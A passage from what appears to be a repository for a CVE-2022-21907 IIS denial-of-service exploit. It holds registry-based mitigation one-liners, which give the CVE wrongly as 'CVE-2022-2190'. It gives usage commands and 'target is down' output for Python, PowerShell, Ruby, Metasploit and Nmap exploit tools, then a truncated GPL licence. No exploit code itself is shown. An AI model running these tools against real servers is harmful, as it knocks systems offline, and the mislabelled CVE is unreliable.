$ErrorActionPreference="SilentlyContinue";$_=($(Get-ItemProperty -Path HKLM:\System\CurrentControlSet\Services\HTTP\Parameters\ -Name EnableTrailerSupport).EnableTrailerSupport -or $(Write-Host "Not vulnerable to CVE-2022-2190")) -and ($(Write-Host "$env:computername vulnerable to CVE-2022-2190 ! Change EnableTrailerSupport value to 0") -or $(Set-ItemProperty -Path HKLM:\System\CurrentControlSet\Services\HTTP\Parameters\ -Name EnableTrailerSupport -Value 0)) 46 | ``` 47 | 48 | ```powershell 49 | $ErrorActionPreference="SilentlyContinue";$key=Get-ItemProperty -Path HKLM:\System\CurrentControlSet\Services\HTTP\Parameters\ -Name EnableTrailerSupport;if($key -AND $key.EnableTrailerSupport -ne 0){echo "$env:computername vulnerable to CVE-2022-2190 ! Change EnableTrailerSupport value to 0";Set-ItemProperty -Path HKLM:\System\CurrentControlSet\Services\HTTP\Parameters\ -Name EnableTrailerSupport -Value 0}else{echo "Not vulnerable to CVE-2022-2190"} 50 | ``` 51 | 52 | ## Exploit: DOS - BlueScreen 53 | 54 | Demonstrations (using powershell scripts, metasploit and nmap) on youtube: 55 | 56 | [![Powershell: DOS attack on IIS](https://img.youtube.com/vi/kaZrfpsh3ds/0.jpg "Powershell: DOS attack on IIS")](https://www.youtube.com/watch?v=kaZrfpsh3ds) 57 | [![Metasploit: DOS attack on IIS](https://img.youtube.com/vi/-HHrdhdt3QU/0.jpg "Metasploit: DOS attack on IIS")](https://www.youtube.com/watch?v=-HHrdhdt3QU) 58 | [![Nmap: DOS attack on IIS](https://img.youtube.com/vi/-mirw5-IPHQ/0.jpg "Nmap: DOS attack on IIS")](https://www.youtube.com/watch?v=-mirw5-IPHQ) 59 | 60 | ### Python 61 | 62 | ```bash 63 | python3 CVE202221907.py 64 | # OR 65 | chmod u+x CVE202221907.py 66 | ./CVE202221907.py 67 | 68 | python3 CVE202221907.py 69 | # OR 70 | chmod u+x CVE202221907.py 71 | ./CVE202221907.py 72 | 73 | python3 CVE202221907.py 10.10.10.10 74 | # OR 75 | chmod u+x CVE202221907.py 76 | ./CVE202221907.py 10.10.10.10:8000 77 | # OR 78 | python3 CVE202221907.py mywebservername 79 | ``` 80 | 81 | ```text 82 | ~# python CVE202221907.py 83 | 84 | CVE-2022-21907 Copyright (C) 2022 Maurice Lambert 85 | This program comes with ABSOLUTELY NO WARRANTY. 86 | This is free software, and you are welcome to redistribute it 87 | under certain conditions. 88 | 89 | Target: 10.10.10.10 90 | 91 | [+] http://10.10.10.10 is UP. Send payload... 92 | [+] http://10.10.10.10 is DOWN. 10.10.10.10 is vulnerable to CVE-2022-21907. 93 | 94 | ~# 95 | ``` 96 | 97 | ### Powershell 98 | 99 | ```powershell 100 | powershell ./CVE-2022-21907.ps1 101 | powershell ./CVE-2022-21907.ps1 mywebservername 102 | powershell ./CVE-2022-21907.ps1 -Target 10.10.10.10 103 | ``` 104 | 105 | ```text 106 | cmd> powershell ./CVE-2022-21907.ps1 107 | 108 | cmdlet CVE-2022-21907.ps1 at command pipeline position 1 109 | Supply values for the following parameters: 110 | target: 10.10.10.10:8000 111 | 112 | CVE-2022-21907 Copyright (C) 2022 Maurice Lambert 113 | This program comes with ABSOLUTELY NO WARRANTY. 114 | This is free software, and you are welcome to redistribute it 115 | under certain conditions. 116 | 117 | cmd> 118 | ``` 119 | 120 | ### Ruby 121 | 122 | ```bash 123 | ruby CVE-2022-21907.rb 124 | ruby CVE-2022-21907.rb 10.10.10.10 125 | ``` 126 | 127 | ```text 128 | ~# ruby CVE-2022-21907.rb 129 | 130 | CVE-2022-21907 Copyright (C) 2022 Maurice Lambert 131 | This program comes with ABSOLUTELY NO WARRANTY. 132 | This is free software, and you are welcome to redistribute it 133 | under certain conditions. 134 | 135 | Host (target): 10.10.10.10 136 | [+] Target: 10.10.10.10 is vulnerable and down. 137 | 138 | ~# 139 | ``` 140 | 141 | ### Metasploit 142 | 143 | #### Python module 144 | 145 | ```text 146 | msf6 > use exploit/windows/iis/py_dos_iis_2022_21907 147 | msf6 auxiliary(windows/iis/py_dos_iis_2022_21907) > set RHOST 10.10.10.10 148 | RHOST => 10.10.10.10 149 | msf6 auxiliary(windows/iis/py_dos_iis_2022_21907) > set RPORT 80 150 | RPORT => 80 151 | msf6 auxiliary(windows/iis/py_dos_iis_2022_21907) > exploit 152 | [*] Running module against 127.0.0.1 153 | 154 | [*] Starting server... 155 | [*] py_dos_iis_2022_21907.py[10.10.10.10:80] - Trying first connection... 156 | [*] py_dos_iis_2022_21907.py[10.10.10.10:80] - First connection OK. Sending payload... 157 | [*] py_dos_iis_2022_21907.py[10.10.10.10:80] - Target is down ! Congratulations ! 158 | [*] Auxiliary module execution completed 159 | msf6 auxiliary(windows/iis/py_dos_iis_2022_21907) > 160 | ``` 161 | 162 | #### Ruby module 163 | 164 | ```text 165 | msf6 > use exploit/windows/iis/rb_dos_iis_2022_21907 166 | msf6 auxiliary(windows/iis/rb_dos_iis_2022_21907) > set RHOST 10.10.10.10 167 | RHOST => 10.10.10.10 168 | msf6 auxiliary(windows/iis/rb_dos_iis_2022_21907) > exploit 169 | [*] Running module against 10.10.10.10 170 | 171 | [+] Target is down ! Congratulations ! 172 | [*] Auxiliary module execution completed 173 | msf6 auxiliary(windows/iis/rb_dos_iis_2022_21907) > 174 | ``` 175 | 176 | ### Nmap 177 | 178 | ```bash 179 | nmap -p 80 --script dos_iis_2022_21907 10.10.10.10 180 | ``` 181 | 182 | ```text 183 | ~# nmap -p 80 --script dos_iis_2022_21907 10.10.10.10 184 | 80/tcp open http 185 | | dos_iis_2022_21907: 186 | | VULNERABLE: 187 | | IIS CVE-2022-21907 DOS 188 | | State: VULNERABLE (Exploitable) 189 | | IDs: CVE:CVE-2022-21907 190 | | The IIS Web Server contains a RCE vulnerability. This script 191 | | exploits this vulnerability with a DOS attack 192 | | (causes a Blue Screen). 193 | | 194 | | Disclosure date: 2022-01-11 195 | | References: 196 | | https://nvd.nist.gov/vuln/detail/CVE-2022-21907 197 | | https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-21907 198 | |_ https://github.com/mauricelambert/CVE-2022-21907 199 | ``` 200 | 201 | ## Sources 202 | 203 | - [Microsoft](https://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2022-21907) 204 | - [nvd.nist.gov](https://nvd.nist.gov/vuln/detail/CVE-2022-21907) 205 | - [Pure ruby script documentation](https://mauricelambert.github.io/info/ruby/code/CVE-2022-21907/CVE202221907.html) 206 | 207 | ## Licence 208 | 209 | Licensed under the [GPL, version 3](https://www.gnu.org/licenses/). 210 | -------------------------------------------------------------------------------- /LICENSE.txt: -------------------------------------------------------------------------------- 1 | GNU GENERAL PUBLIC LICENSE 2 | Version 3, 29 June 2007 3 | 4 | Copyright (C) 2007 Free Software Foundation, Inc. 5 | Everyone is permitted to copy and distribute verbatim copies 6 | of this license document, but changing it is not allowed. 7 | 8 | Preamble 9 | 10 | The GNU General Public License is a free, copyleft license for 11 | software and other kinds of works. 12 | 13 | The licenses for most software and other practical works are designed 14 | to take away your freedom to share and change the works. By contrast, 15 | the GNU General Public License is intended to guarantee your freedom to 16 | share and change all versions of a program--to make sure it remains free 17 | software for all its users. We, the Free Software Foundation, use the 18 | GNU General Public License for most of our software; it applies also to 19 | any other work released this way by its authors. You can apply it to 20 | your programs, too. 21 | 22 | When we speak of free software, we are referring to freedom, not 23 | price. Our General Public Licenses are designed to make sure that you 24 | have the freedom to distribute copies of free software (and charge for 25 | them if you wish), that you receive source code or can get it if you 26 | want it, that you can change the software or use pieces of it in new 27 | free programs, and that you know you can do these things. 28 | 29 | To protect your rights, we need to prevent others from denying you 30 | these rights or asking you to surrender the rights. Therefore, you have 31 | certain responsibilities if you distribute copies of the software, or if 32 | you modify it: responsibilities to respect the freedom of others. 33 | 34 | For example, if you distribute copies of such a program, whether 35 | gratis or for a fee, you must pass on to the recipients the same 36 | freedoms that you received. You must make sure that they, too, receive 37 | or can get the source code. And you must show them these terms so they 38 | know their rights. 39 | 40 | Developers that use the GNU GPL protect your rights with two steps: 41 | (1) assert copyright on the software, and (2) offer you this License 42 | giving you legal permission to copy, distribute and/or modify it. 43 | 44 | For the developers' and authors' protection, the GPL clearly explains 45 | that there is no warranty for this free software. For both users' and 46 | authors' sake, the GPL requires that modified versions be marked as 47 | changed, so that their problems will not be attributed erroneously to 48 | authors of previous versions. 49 | 50 | Some devices are designed to deny users access to install or run 51 | modified versions of the software inside them, although the manufacturer 52 | can do so. This is fundamentally incompatible with the aim of 53 | protecting users' freedom to change the software. The systematic 54 | pattern of such abuse occurs in the area of products for individuals to 55 | use, which is precisely where it is most unacceptable. Therefore, we 56 | have designed this version of the GPL to prohibit the practice for those 57 | products. If such problems arise substantially in other domains, we 58 | stand ready to extend this provision to those domains in future versions 59 | of the GPL, as needed to protect the freedom of users. 60 | 61 | Finally, every program is threatened constantly by software patents. 62 | States should not allow patents to restrict development and use of 63 | software on general-purpose computers, but in those that do, we wish to 64 | avoid the special danger that patents applied to a free program could 65 | make it effectively proprietary. To prevent this, the GPL assures that 66 | patents cannot be used to render the program non-free. 67 | 68 | The precise terms and conditions for copying, distribution and 69 | modification follow. 70 | 71 | TERMS AND CONDITIONS 72 | 73 | 0. Definitions. 74 | 75 | "This License" refers to version 3 of the GNU General Public License. 76 | 77 | "Copyright" also means copyright-like laws that apply to other kinds of 78 | works, such as semiconductor masks. 79 | 80 | "The Program" refers to any copyrightable work licensed under this 81 | License. Each licensee is addressed as "you". "Licensees" and 82 | "recipients" may be individuals or organizations. 83 | 84 | To "modify" a work means to copy from or adapt all or part of the work 85 | in a fashion requiring copyright permission, other than the making of an 86 | exact copy. The resulting work is called a "modified version" of the 87 | earlier work or a work "based on" the earlier work. 88 | 89 | A "covered work" means either the unmodified Program or a work based 90 | on the Program. 91 | 92 | To "propagate" a work means to do anything with it that, without 93 | permission, would make you directly or secondarily liable for 94 | infringement under applicable copyright law, except executing it on a 95 | computer or modifying a private copy. Propagation includes copying, 96 | distribution (with or without modification), making available to the 97 | public, and in some countries other activities as well. 98 | 99 | To "convey" a work means any kind of propagation that enables other 100 | parties to make or receive copies. Mere interaction with a user through 101 | a computer network, with no transfer of a copy, is not conveying. 102 | 103 | An interactive user interface displays "Appropriate Legal Notices" 104 | to the extent that it includes a convenient and prominently visible 105 | feature that (1) displays an appropriate copyright notice, and (2) 106 | tells the user that there is no warranty for the work (except to the 107 | extent that warranties are provided), that licensees may convey the 108 | work under this License, and how to view a copy of this License. If 109 | the interface presents a list of user commands or options, such as a 110 | menu, a prominent item in the list meets this criterion. 111 | 112 | 1. Source Code. 113 | 114 | The "source code" for a work means the preferred form of the work 115 | for making modifications to it. "Object code" means any non-source 116 | form of a work. 117 | 118 | A "Standard Interface" means an interface that either is an official 119 | standard defined by a recognized standards body, or, in the case of 120 | interfaces specified for a particular programming language, one that 121 | is widely used among developers working in that language. 122 | 123 | The "System Libraries" of an executable work include anything, other 124 | than the work as a whole, that (a) is included in the normal form of 125 | packaging a Major Component, but which is not part of that Major 126 | Component, and (b) serves only to enable use of the work with that 127 | Major Component, or to implement a Standard Interface for which an 128 | implementation is available to the public in source code form. A 129 | "Major Component", in this context, means a major essential component 130 | (kernel, window system, and so on) of the specific operating system 131 | (if any) on which the executable work runs, or a compiler used to 132 | produce the work, or an object code interpreter used to run it. 133 | 134 | The "Corresponding Source" for a work in object code form means all 135 | the source code needed to generate, install, and (for an executable 136 | work) run the object code and to modify the work, including scripts to 137 | control those activities. However, it does not include the work's 138 | System Libraries, or general-purpose tools or generally available free 139 | programs which are used unmodified in performing those activities but 140 | which are not part of the work. For example, Corresponding Source 141 | includes interface definition files associated with source files for 142 | the work, and the source code for shared libraries and dynamically 143 | linked subprograms that the work is specifically designed to require, 144 | such as by intimate data communication or control flow between those 145 | subprograms and other parts of the work. 146 | 147 | The Corresponding Source need not include anything that users 148 | can regenerate automatically from other parts of the Corresponding 149 | Source. 150 | 151 | The Corresponding Source for a work in source code form is that 152 | same work. 153 | 154 | 2. Basic Permissions. 155 | 156 | All rights granted under this License are granted for the term of 157 | copyright on the Program, and are irrevocable provided the stated 158 | conditions are met. This License explicitly affirms your unlimited 159 | permission to run the unmodified Program. The output from running a 160 | covered work is covered by this License only if the output, given its 161 | content, constitutes a covered work. This License acknowledges your 162 | rights of fair use or other equivalent, as provided by copyright law. 163 | 164 | You may make, run and propagate covered works that you do not 165 | convey, without conditions so long as your license otherwise remains 166 | in force. You may convey covered works to others for the sole purpose 167 | of having them make modifications exclusively for you, or provide you 168 | with facilities for running those works, provided that you comply with 169 | the terms of this License in conveying all material for which you do 170 | not control copyright. Those thus making or running the covered works 171 | for you must do so exclusively on your behalf, under your direction 172 | and control, on terms that prohibit them from making any copies of 173 | your copyrighted material outside their relationship with you. 174 | 175 | Conveying under any other circumstances is permitted solely under 176 | the conditions stated below. Sublicensing is not allowed; section 10 177 | makes it unnecessary. 178 | 179 | 3. Protecting Users' Legal Rights From Anti-Circumvention Law. 180 | 181 | No covered work shall be deemed part of an effective technological 182 | measure under any applicable law fulfilling obligations under article 183 | 11 of the WIPO copyright treaty adopted on 20 December 1996, or 184 | similar laws prohibiting or restricting circumvention of such 185 | measures. 186 | 187 | When you convey a covered work, you waive any legal power to forbid 188 | circumvention of technological measures to the extent such circumvention 189 | is effected by exercising rights under this License with respect to 190 | the covered work, and you disclaim any intention to limit operation or 191 | modification of the work as a means of enforcing, against the work's 192 | users, your or third parties' legal rights to forbid circumvention of 193 | technological measures. 194 | 195 | 4. Conveying Verbatim Copies. 196 | 197 | You may convey verbatim copies of the Program's source code as you 198 | receive it, in any medium, provided that you conspicuously and 199 | appropriately publish on each copy an appropriate copyright notice; 200 | keep intact all notices stating that this License and any 201 | non-permissive terms added in accord with section 7 apply to the code; 202 | keep intact all notices of the absence of any warranty; and give all 203 | recipients a copy of this License along with the Program. 204 | 205 | You may charge any price or no price for each copy that you convey, 206 | and you may offer support or warranty protection for a fee. 207 | 208 | 5. Conveying Modified Source Versions. 209 | 210 | You may convey a work based on the Program, or the modifications to 211 | produce it from the Program, in the form of source code under the 212 | terms of section 4, provided that you also meet all of these conditions: 213 | 214 | a) The work must carry prominent notices stating that you modified 215 | it, and giving a relevant date. 216 | 217 | b) The work must carry prominent notices stating that it is 218 | released under this License and any conditions added under section 219 | 7. This requirement modifies the requirement in section 4 to 220 | "keep intact all notices". 221 | 222 | c) You must license the entire work, as a whole, under this 223 | License to anyone who comes into possession of a copy. This 224 | License will therefore apply, along with any applicable section 7 225 | additional terms, to the whole of the work, and all its parts, 226 | regardless of how they are packaged. This License gives no 227 | permission to license the work in any other way, but it does not 228 | invalidate such permission if you have separately received it. 229 | 230 | d) If the work has interactive user interfaces, each must display 231 | Appropriate Legal Notices; however, if the Program has interactive 232 | interfaces that do not display Appropriate Legal Notices, your 233 | work need not make them do so. 234 | 235 | A compilation of a covered work with other separate and independent 236 | works, which are not by their nature extensions of the covered work, 237 | and which are not combined with it such as to form a larger program, 238 | in or on a volume of a storage or distribution medium, is called an 239 | "aggregate" if the compilation and its resulting copyright are not 240 | used to limit the access or legal rights of the compilation's users 241 | beyond what the individual works permit. Inclusion of a covered work 242 | in an aggregate does not cause this License to apply to the other 243 | parts of the aggregate. 244 | 245 | 6. Conveying Non-Source Forms. 246 | 247 | You may convey a covered work in object code form under the terms 248 | of sections 4 and 5, provided that you also convey the 249 | machine-readable Corresponding Source under the terms of this License, 250 | in one of these ways: 251 | 252 | a) Convey the object code in, or embodied in, a physical product 253 | (including a physical distribution medium), accompanied by the 254 | Corresponding Source fixed on a durable physical medium 255 | customarily used for software interchange. 256 | 257 | b) Convey the object code in, or embodied in, a physical product 258 | (including a physical distribution medium), accompanied by a 259 | written offer, valid for at least three years and valid for as 260 | long as you offer spare parts or customer support for that product 261 | model, to give anyone who possesses the object code either (1) a 262 | copy of the Corresponding Source for all the software in the 263 | product that is covered by this License, on a durable physical 264 | medium customarily used for software interchange, for a price no 265 | more than your reasonable cost of physically performing this 266 | conveying of source, or (2) access to copy the 267 | Corresponding Source from a network server at no charge. 268 | 269 | c) Convey individual copies of the object code with a copy of the 270 | written offer to provide the Corresponding Source. This 271 | alternative is allowed only occasionally and noncommercially, and 272 | only if you received the object code with such an offer, in accord 273 | with subsection 6b. 274 | 275 | d) Convey the object code by offering access from a designated 276 | place (gratis or for a charge), and offer equivalent access to the 277 | Corresponding Source in the same way through the same place at no 278 | further charge. You need not require recipients to copy the 279 | Corresponding Source along with the object code. If the place to 280 | copy the object code is a network server, the Corresponding Source 281 | may be on a different server (operated by you or a third party) 282 | that supports equivalent copying facilities, provided you maintain 283 | clear directions next to the object code saying where to find the 284 | Corresponding Source. Regardless of what server hosts the 285 | Corresponding Source, you remain obligated to ensure that it is 286 | available for as long as needed to satisfy these requirements. 287 | 288 | e) Convey the object code using peer-to-peer transmission, provided 289 | you inform other peers where the object code and Corresponding 290 | Source of the work are being offered to the general public at no 291 | charge under subsection 6d. 292 | 293 | A separable portion of the object code, whose source code is excluded 294 | from the Corresponding Source as a System Library, need not be 295 | included in conveying the object code work. 296 | 297 | A "User Product" is either (1) a "consumer product", which means any 298 | tangible personal property which is normally used for personal, family, 299 | or household purposes, or (2) anything designed or sold for incorporation 300 | into a dwelling. In determining whether a product is a consumer product, 301 | doubtful cases shall be resolved in favor of coverage. For a particular 302 | product received by a particular user, "normally used" refers to a 303 | typical or common use of that class of product, regardless of the status 304 | of the particular user or of the way in which the particular user 305 | actually uses, or expects or is expected to use, the product. A product 306 | is a consumer product regardless of whether the product has substantial 307 | commercial, industrial or non-consumer uses, unless such uses represent 308 | the only significant mode of use of the product. 309 | 310 | "Installation Information" for a User Product means any methods, 311 | procedures, authorization keys, or other information required to install 312 | and execute modified versions of a covered work in that User Product from 313 | a modified version of its Corresponding Source. The information must 314 | suffice to ensure that the continued functioning of the modified object 315 | code is in no case prevented or interfered with solely because 316 | modification has been made. 317 | 318 | If you convey an object code work under this section in, or with, or 319 | specifically for use in, a User Product, and the conveying occurs as 320 | part of a transaction in which the right of possession and use of the 321 | User Product is transferred to the recipient in perpetuity or for a 322 | fixed term (regardless of how the transaction is characterized), the 323 | Corresponding Source conveyed under this section must be accompanied 324 | by the Installation Information. But this requirement does not apply 325 | if neither you nor any third party retains the ability to install 326 | modified object code on the User Product (for example, the work has 327 | been installed in ROM). 328 | 329 | The requirement to provide Installation Information does not include a 330 | requirement to continue to provide support service, warranty, or updates 331 | for a work that has been modified or installed by the recipient, or for 332 | the User Product in which it has been modified or installed. Access to a 333 | network may be denied when the modification itself materially and 334 | adversely affects the operation of the network or violates the rules and 335 | protocols for communication across the network. 336 | 337 | Corresponding Source conveyed, and Installation Information provided, 338 | in accord with this section must be in a format that is publicly 339 | documented (and with an implementation available to the public in 340 | source code form), and must require no special password or key for 341 | unpacking, reading or copying. 342 | 343 | 7. Additional Terms. 344 | 345 | "Additional permissions" are terms that supplement the terms of this 346 | License by making exceptions from one or more of its conditions. 347 | Additional permissions that are applicable to the entire Program shall 348 | be treated as though they were included in this License, to the extent 349 | that they are valid under applicable law. If additional permissions 350 | apply only to part of the Program, that part may be used separately 351 | under those permissions, but the entire Program remains governed by 352 | this License without regard to the additional permissions. 353 | 354 | When you convey a copy of a covered work, you may at your option 355 | remove any additional permissions from that copy, or from any part of 356 | it. (Additional permissions may be written to require their own 357 | removal in certain cases when you modify the work.) You may place 358 | additional permissions on material, added by you to a covered work, 359 | for which you have or can give appropriate copyright permission. 360 | 361 | Notwithstanding any other provision of this License, for material you 362 | add to a covered work, you may (if authorized by the copyright holders of 363 | that material) supplement the terms of this License with terms: 364 | 365 | a) Disclaiming warranty or limiting liability differently from the 366 | terms of sections 15 and 16 of this License; or 367 | 368 | b) Requiring preservation of specified reasonable legal notices or 369 | author attributions in that material or in the Appropriate Legal 370 | Notices displayed by works containing it; or 371 | 372 | c) Prohibiting misrepresentation of the origin of that material, or 373 | requiring that modified versions of such material be marked in 374 | reasonable ways as different from the original version; or 375 | 376 | d) Limiting the use for publicity purposes of names of licensors or 377 | authors of the material; or 378 | 379 | e) Declining to grant rights under trademark law for use of some 380 | trade names, trademarks, or service marks; or 381 | 382 | f) Requiring indemnification of licensors and authors of that 383 | material by anyone who conveys the material (or modified versions of 384 | it) with contractual assumptions of liability to the recipient, for 385 | any liability that these contractual assumptions directly impose on 386 | those licensors and authors. 387 | 388 | All other non-permissive additional terms are considered "further 389 | restrictions" within the meaning of section 10. If the Program as you 390 | received it, or any part of it, contains a notice stating that it is 391 | governed by this License along with a term that is a further 392 | restriction, you may remove that term. If a license document contains 393 | a further restriction but permits relicensing or conveying under this 394 | License, you may add to a covered work material governed by the terms 395 | of that license document, provided that the further restriction does 396 | not survive such relicensing or conveying. 397 | 398 | If you add terms to a covered work in accord with this section, you 399 | must place, in the relevant source files, a statement of the 400 | additional terms that apply to those files, or a notice indicating 401 | where to find the applicable terms. 402 | 403 | Additional terms, permissive or non-permissive, may be stated in the 404 | form of a separately written license, or stated as exceptions; 405 | the above requirements apply either way. 406 | 407 | 8. Termination. 408 | 409 | You may not propagate or modify a covered work except as expressly 410 | provided under this License. Any attempt otherwise to propagate or 411 | modify it is void, and will automatically terminate your rights under 412 | this License (including any patent licenses granted under the third 413 | paragraph of section 11). 414 | 415 | However, if you cease all violation of this License, then your 416 | license from a particular copyright holder is reinstated (a) 417 | provisionally, unless and until the copyright holder explicitly and 418 | finally terminates your license, and (b) permanently, if the copyright 419 | holder fails to notify you of the violation by some reasonable means 420 | prior to 60 days after the cessation. 421 | 422 | Moreover, your license from a particular copyright holder is 423 | reinstated permanently if the copyright holder notifies you of the 424 | violation by some reasonable means, this is the first time you have 425 | received notice of violation of this License (for any work) from that 426 | copyright holder, and you cure the violation prior to 30 days after 427 | your receipt of the notice. 428 | 429 | Termination of your rights under this section does not terminate the 430 | licenses of parties who have received copies or rights from you under 431 | this License. If your rights have been terminated and not permanently 432 | reinstated, you do not qualify to receive new licenses for the same 433 | material under section 10. 434 | 435 | 9. Acceptance Not Required for Having Copies. 436 | 437 | You are not required to accept this License in order to receive or 438 | run a copy of the Program. Ancillary propagation of a covered work 439 | occurring solely as a consequence of using peer-to-peer transmission 440 | to receive a copy likewise does not require acceptance. However, 441 | nothing other than this License grants you permission to propagate or 442 | modify any covered work. These actions infringe copyright if you do 443 | not accept this License. Therefore, by modifying or propagating a 444 | covered work, you indicate your acceptance of this License to do so. 445 | 446 | 10. Automatic Licensing of Downstream Recipients. 447 | 448 | Each time you convey a covered work, the recipient automatically 449 | receives a license from the original licensors, to run, modify and 450 | propagate that work, subject to this License. You are not responsible 451 | for enforcing compliance by third parties with this License. 452 | 453 | An "entity transaction" is a transaction transferring control of an 454 | organization, or substantially all assets of one, or subdividing an 455 | organization, or merging organizations. If propagation of a covered 456 | work results from an entity transaction, each party to that 457 | transaction who receives a copy of the work also receives whatever 458 | licenses to the work the party's predecessor in interest had or could 459 | give under the previous paragraph, plus a right to possession of the 460 | Corresponding Source of the work from the predecessor in interest, if 461 | the predecessor has it or can get it with reasonable efforts. 462 | 463 | You may not impose any further restrictions on the exercise of the 464 | rights granted or affirmed under this License. For example, you may 465 | not impose a license fee, royalty, or other charge for exercise of 466 | rights granted under this License, and you may not initiate litigation 467 | (including a cross-claim or counterclaim in a lawsuit) alleging that 468 | any patent claim is infringed by making, using, selling, offering for 469 | sale, or importing the Program or any portion of it. 470 | 471 | 11. Patents. 472 | 473 | A "contributor" is a copyright holder who authorizes use under this 474 | License of the Program or a work on which the Program is based. The 475 | work thus licensed is called the contributor's "contributor version". 476 | 477 | A contributor's "essential patent claims" are all patent claims 478 | owned or controlled by the contributor, whether already acquired or 479 | hereafter acquired, that would be infringed by some manner, permitted 480 | by this License, of making, using, or selling its contributor version, 481 | but do not include claims that would be infringed only as a 482 | consequence of further modification of the contributor version. For 483 | purposes of this definition, "control" includes the right to grant 484 | patent sublicenses in a manner consistent with the requirements of 485 | this License. 486 | 487 | Each contributor grants you a non-exclusive, worldwide, royalty-free 488 | patent license under the contributor's essential patent claims, to 489 | make, use, sell, offer for sale, import and otherwise run, modify and 490 | propagate the contents of its contributor version. 491 | 492 | In the following three paragraphs, a "patent license" is any express 493 | agreement or commitment, however denominated, not to enforce a patent 494 | (such as an express permission to practice a patent or covenant not to 495 | sue for patent infringement). To "grant" such a patent license to a 496 | party means to make such an agreement or commitment not to enforce a 497 | patent against the party. 498 | 499 | If you convey a covered work, knowingly relying on a patent license, 500 | and the Corresponding Source of the work is not available for anyone 501 | to copy, free of charge and under the terms of this License, through a 502 | publicly available network server or other readily accessible means, 503 | then you must either (1) cause the Corresponding Source to be so 504 | available, or (2) arrange to deprive yourself of the benefit of the 505 | patent license for this particular work, or (3) arrange, in a manner 506 | consistent with the requirements of this License, to extend the patent 507 | license to downstream recipients. "Knowingly relying" means you have 508 | actual knowledge that, but for the patent license, your conveying the 509 | covered work in a country, or your recipient's use of the covered work 510 | in a country, would infringe one or more identifiable patents in that 511 | country that you have reason to believe are valid. 512 | 513 | If, pursuant to or in connection with a single transaction or 514 | arrangement, you convey, or propagate by procuring conveyance of, a 515 | covered work, and grant a patent license to some of the parties 516 | receiving the covered work authorizing them to use, propagate, modify 517 | or convey a specific copy of the covered work, then the patent license 518 | you grant is automatically extended to all recipients of the covered 519 | work and works based on it. 520 | 521 | A patent license is "discriminatory" if it does not include within 522 | the scope of its coverage, prohibits the exercise of, or is 523 | conditioned on the non-exercise of one or more of the rights that are 524 | specifically granted under this License. You may not convey a covered 525 | work if you are a party to an arrangement with a third party that is 526 | in the business of distributing software, under which you make payment 527 | to the third party based on the extent of your activity of conveying 528 | the work, and under which the third party grants, to any of the 529 | parties who would receive the covered work from you, a discriminatory 530 | patent license (a) in connection with copies of the covered work 531 | conveyed by you (or copies made from those copies), or (b) primarily 532 | for and in connection with specific products or compilations that 533 | contain the covered work, unless you entered into that arrangement, 534 | or that patent license was granted, prior to 28 March 2007. 535 | 536 | Nothing in this License shall be construed as excluding or limiting 537 | any implied license or other defenses to infringement that may 538 | otherwise be available to you under applicable patent law. 539 | 540 | 12. No Surrender of Others' Freedom. 541 | 542 | If conditions are imposed on you (whether by court order, agreement or 543 | otherwise) that contradict the conditions of this License, they do not 544 | excuse you from the conditions of this License. If you cannot convey a 545 | covered work so as to satisfy simultaneously your obligations under this 546 | License and any other pertinent obligations, then as a consequence you may 547 | not convey it at all. For example, if you agree to terms that obligate you 548 | to collect a royalty for further conveying from those to whom you convey 549 | the Program, the only way you could satisfy both those terms and this 550 | License would be to refrain entirely from conveying the Program. 551 | 552 | 13. Use with the GNU Affero General Public License. 553 | 554 | Notwithstanding any other provision of this License, you have 555 | permission to link or combine any covered work with a work licensed 556 | under version 3 of the GNU Affero General Public License into a single 557 | combined work, and to convey the resulting work. The terms of this 558 | License will continue to apply to the part which is the covered work, 559 | but the special requirements of the GNU Affero General Public License, 560 | section 13, concerning interaction through a network will apply to the 561 | combination as such. 562 | 563 | 14. Revised Versions of this License. 564 | 565 | The Free Software Foundation may publish revised and/or new versions of 566 | the GNU General Public License from time to time. Such new versions will 567 | be similar in spirit to the present version, but may differ in detail to 568 | address new problems or concerns. 569 | 570 | Each version is given a distinguishing version number. If the 571 | Program specifies that a certain numbered version of the GNU General 572 | Public License "or any later version" applies to it, you have the 573 | option of following the terms and conditions either of that numbered 574 | version or of any later version published by the Free Software 575 | Foundation. If the Program does not specify a version number of the 576 | GNU General Public License, you may choose any version ever published 577 | by the Free Software Foundation. 578 | 579 | If the Program specifies that a proxy can decide which future 580 | versions of the GNU General Public License can be used, that proxy's 581 | public statement of acceptance of a version permanently authorizes you 582 | to choose that version for the Program. 583 | 584 | Later license versions may give you additional or different 585 | permissions. However, no additional obligations are imposed on any 586 | author or copyright holder as a result of your choosing to follow a 587 | later version. 588 | 589 | 15. Disclaimer of Warranty. 590 | 591 | THERE IS NO WARRANTY FOR THE PROGRAM, TO THE EXTENT PERMITTED BY 592 | APPLICABLE LAW. EXCEPT WHEN OTHERWISE STATED IN WRITING THE COPYRIGHT 593 | HOLDERS AND/OR OTHER PARTIES PROVIDE THE PROGRAM "AS IS" WITHOUT WARRANTY 594 | OF ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING, BUT NOT LIMITED TO, 595 | THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR 596 | PURPOSE. THE ENTIRE RISK AS TO THE QUALITY AND PERFORMANCE OF THE PROGRAM 597 | IS WITH YOU. SHOULD THE PROGRAM PROVE DEFECTIVE, YOU ASSUME THE COST OF 598 | ALL NECESSARY SERVICING, REPAIR OR CORRECTION. 599 | 600 | 16. Limitation of Liability. 601 | 602 | IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING 603 | WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MODIFIES AND/OR CONVEYS 604 | THE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES, INCLUDING ANY 605 | GENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING OUT OF THE 606 | USE OR INABILITY TO USE THE PROGRAM (INCLUDING BUT NOT LIMITED TO LOSS OF 607 | DATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY YOU OR THIRD 608 | PARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER PROGRAMS), 609 | EVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE POSSIBILITY OF 610 | SUCH DAMAGES. 611 | 612 | 17. Interpretation of Sections 15 and 16. 613 | 614 | If the disclaimer of warranty and limitation of liability provided 615 | above cannot be 